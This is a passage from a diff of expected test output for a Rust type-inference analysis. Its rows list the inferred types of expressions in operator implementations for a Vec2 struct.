file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1385:13:1385:27 | ... &= ... | | file://:0:0:0:0 | () | -| main.rs:1385:23:1385:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1385:23:1385:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1386:13:1386:16 | self | | file://:0:0:0:0 | & | -| main.rs:1386:13:1386:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1386:13:1386:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1386:13:1386:27 | ... &= ... | | file://:0:0:0:0 | () | -| main.rs:1386:23:1386:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1386:23:1386:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1392:18:1392:21 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1392:24:1392:26 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1392:43:1397:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1393:13:1396:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1394:20:1394:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1394:20:1394:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1394:20:1394:33 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1394:29:1394:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1394:29:1394:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1395:20:1395:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1395:20:1395:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1395:20:1395:33 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1395:29:1395:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1395:29:1395:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1401:25:1401:33 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1401:25:1401:33 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1401:36:1401:38 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1402:13:1402:16 | self | | file://:0:0:0:0 | & | -| main.rs:1402:13:1402:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1402:13:1402:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1402:13:1402:27 | ... \|= ... | | file://:0:0:0:0 | () | -| main.rs:1402:23:1402:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1402:23:1402:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1403:13:1403:16 | self | | file://:0:0:0:0 | & | -| main.rs:1403:13:1403:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1403:13:1403:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1403:13:1403:27 | ... \|= ... | | file://:0:0:0:0 | () | -| main.rs:1403:23:1403:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1403:23:1403:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1409:19:1409:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1409:25:1409:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1409:44:1414:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1410:13:1413:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1411:20:1411:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1411:20:1411:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1411:20:1411:33 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1411:29:1411:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1411:29:1411:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1412:20:1412:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1412:20:1412:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1412:20:1412:33 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1412:29:1412:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1412:29:1412:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1418:26:1418:34 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1418:26:1418:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1418:37:1418:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1419:13:1419:16 | self | | file://:0:0:0:0 | & | -| main.rs:1419:13:1419:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1419:13:1419:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1419:13:1419:27 | ... ^= ... | | file://:0:0:0:0 | () | -| main.rs:1419:23:1419:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1419:23:1419:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1420:13:1420:16 | self | | file://:0:0:0:0 | & | -| main.rs:1420:13:1420:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1420:13:1420:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1420:13:1420:27 | ... ^= ... | | file://:0:0:0:0 | () | -| main.rs:1420:23:1420:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1420:23:1420:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1426:16:1426:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1426:22:1426:24 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1426:40:1431:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1427:13:1430:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1428:20:1428:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1428:20:1428:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1428:20:1428:32 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1428:30:1428:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1429:20:1429:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1429:20:1429:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1429:20:1429:32 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1429:30:1429:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1435:23:1435:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1435:23:1435:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1435:34:1435:36 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1436:13:1436:16 | self | | file://:0:0:0:0 | & | -| main.rs:1436:13:1436:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1436:13:1436:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1436:13:1436:26 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1436:24:1436:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1437:13:1437:16 | self | | file://:0:0:0:0 | & | -| main.rs:1437:13:1437:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1437:13:1437:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1437:13:1437:26 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1437:24:1437:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1443:16:1443:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1443:22:1443:24 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1443:40:1448:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1444:13:1447:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1445:20:1445:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1445:20:1445:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1445:20:1445:32 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1445:30:1445:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1446:20:1446:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1446:20:1446:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1446:20:1446:32 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1446:30:1446:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1452:23:1452:31 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1452:23:1452:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1452:34:1452:36 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1453:13:1453:16 | self | | file://:0:0:0:0 | & | -| main.rs:1453:13:1453:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1453:13:1453:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1453:13:1453:26 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1453:24:1453:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1454:13:1454:16 | self | | file://:0:0:0:0 | & | -| main.rs:1454:13:1454:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1454:13:1454:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1454:13:1454:26 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1454:24:1454:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1460:16:1460:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1460:30:1465:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1461:13:1464:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1462:20:1462:26 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1462:21:1462:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1462:21:1462:26 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1463:20:1463:26 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1463:21:1463:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1463:21:1463:26 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1470:16:1470:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1470:30:1475:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1471:13:1474:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1472:20:1472:26 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1472:21:1472:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1472:21:1472:26 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1473:20:1473:26 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1473:21:1473:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1473:21:1473:26 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1479:15:1479:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1479:15:1479:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1479:22:1479:26 | other | | file://:0:0:0:0 | & | -| main.rs:1479:22:1479:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1479:44:1481:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1480:13:1480:16 | self | | file://:0:0:0:0 | & | -| main.rs:1480:13:1480:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:13:1480:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1480:13:1480:29 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1480:13:1480:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1480:23:1480:27 | other | | file://:0:0:0:0 | & | -| main.rs:1480:23:1480:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:23:1480:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1480:34:1480:37 | self | | file://:0:0:0:0 | & | -| main.rs:1480:34:1480:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:34:1480:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1480:34:1480:50 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1480:44:1480:48 | other | | file://:0:0:0:0 | & | -| main.rs:1480:44:1480:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:44:1480:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1483:15:1483:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1483:15:1483:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1483:22:1483:26 | other | | file://:0:0:0:0 | & | -| main.rs:1483:22:1483:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1483:44:1485:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1484:13:1484:16 | self | | file://:0:0:0:0 | & | -| main.rs:1484:13:1484:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:13:1484:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1484:13:1484:29 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1484:13:1484:50 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1484:23:1484:27 | other | | file://:0:0:0:0 | & | -| main.rs:1484:23:1484:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:23:1484:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1484:34:1484:37 | self | | file://:0:0:0:0 | & | -| main.rs:1484:34:1484:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:34:1484:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1484:34:1484:50 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1484:44:1484:48 | other | | file://:0:0:0:0 | & | -| main.rs:1484:44:1484:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:44:1484:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1489:24:1489:28 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1489:24:1489:28 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1489:31:1489:35 | other | | file://:0:0:0:0 | & | -| main.rs:1489:31:1489:35 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1489:75:1491:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:565:1:581:1 | Option | -| main.rs:1489:75:1491:9 | { ... } | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/cmp.rs:367:1:397:1 | Ordering | -| main.rs:1490:13:1490:29 | (...) | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:565:1:581:1 | Option | -| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/cmp.rs:367:1:397:1 | Ordering | -| main.rs:1490:14:1490:17 | self | | file://:0:0:0:0 | & | -| main.rs:1490:14:1490:17 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:14:1490:19 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:14:1490:28 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:23:1490:26 | self | | file://:0:0:0:0 | & | -| main.rs:1490:23:1490:26 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:23:1490:28 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:43:1490:62 | &... | | file://:0:0:0:0 | & | -| main.rs:1490:43:1490:62 | &... | &T | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:44:1490:62 | (...) | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:45:1490:49 | other | | file://:0:0:0:0 | & | -| main.rs:1490:45:1490:49 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:45:1490:51 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:45:1490:61 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:55:1490:59 | other | | file://:0:0:0:0 | & | -| main.rs:1490:55:1490:59 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:55:1490:61 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1493:15:1493:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1493:15:1493:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1493:22:1493:26 | other | | file://:0:0:0:0 | & | -| main.rs:1493:22:1493:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1493:44:1495:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1494:13:1494:16 | self | | file://:0:0:0:0 | & | -| main.rs:1494:13:1494:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:13:1494:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1494:13:1494:28 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1494:13:1494:48 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1494:22:1494:26 | other | | file://:0:0:0:0 | & | -| main.rs:1494:22:1494:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:22:1494:28 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1494:33:1494:36 | self | | file://:0:0:0:0 | & | -| main.rs:1494:33:1494:36 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:33:1494:38 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1494:33:1494:48 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1494:42:1494:46 | other | | file://:0:0:0:0 | & | -| main.rs:1494:42:1494:46 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:42:1494:48 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1497:15:1497:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1497:15:1497:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1497:22:1497:26 | other | | file://:0:0:0:0 | & | -| main.rs:1497:22:1497:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1497:44:1499:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1498:13:1498:16 | self | | file://:0:0:0:0 | & | -| main.rs:1498:13:1498:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:13:1498:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1498:13:1498:29 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1498:13:1498:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1498:23:1498:27 | other | | file://:0:0:0:0 | & | -| main.rs:1498:23:1498:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:23:1498:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1498:34:1498:37 | self | | file://:0:0:0:0 | & | -| main.rs:1498:34:1498:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:34:1498:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1498:34:1498:50 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1498:44:1498:48 | other | | file://:0:0:0:0 | & | -| main.rs:1498:44:1498:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:44:1498:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1501:15:1501:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1501:15:1501:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1501:22:1501:26 | other | | file://:0:0:0:0 | & | -| main.rs:1501:22:1501:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1501:44:1503:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1502:13:1502:16 | self | | file://:0:0:0:0 | & | -| main.rs:1502:13:1502:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:13:1502:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1502:13:1502:28 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1502:13:1502:48 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1318:13:1318:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1318:13:1318:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1318:13:1318:27 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1318:23:1318:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1318:23:1318:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1319:13:1319:16 | self | | file://:0:0:0:0 | & | +| main.rs:1319:13:1319:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1319:13:1319:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1319:13:1319:27 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1319:23:1319:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1319:23:1319:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1325:16:1325:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1325:22:1325:24 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1325:41:1330:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1326:13:1329:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1327:20:1327:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1327:20:1327:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1327:20:1327:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1327:29:1327:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1327:29:1327:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1328:20:1328:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1328:20:1328:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1328:20:1328:33 | ... - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1328:29:1328:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1328:29:1328:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1335:23:1335:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1335:23:1335:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1335:34:1335:36 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1336:13:1336:16 | self | | file://:0:0:0:0 | & | +| main.rs:1336:13:1336:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1336:13:1336:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1336:13:1336:27 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1336:23:1336:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1336:23:1336:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1337:13:1337:16 | self | | file://:0:0:0:0 | & | +| main.rs:1337:13:1337:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1337:13:1337:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1337:13:1337:27 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1337:23:1337:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1337:23:1337:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1343:16:1343:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1343:22:1343:24 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1343:41:1348:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1344:13:1347:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1345:20:1345:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1345:20:1345:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1345:20:1345:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1345:29:1345:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1345:29:1345:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1346:20:1346:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1346:20:1346:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1346:20:1346:33 | ... * ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1346:29:1346:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1346:29:1346:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1352:23:1352:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1352:23:1352:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1352:34:1352:36 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1353:13:1353:16 | self | | file://:0:0:0:0 | & | +| main.rs:1353:13:1353:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1353:13:1353:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1353:13:1353:27 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1353:23:1353:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1353:23:1353:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1354:13:1354:16 | self | | file://:0:0:0:0 | & | +| main.rs:1354:13:1354:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1354:13:1354:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1354:13:1354:27 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1354:23:1354:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1354:23:1354:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1360:16:1360:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1360:22:1360:24 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1360:41:1365:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1361:13:1364:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1362:20:1362:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1362:20:1362:25 | self.x | | {EXTERNAL LOCATION} 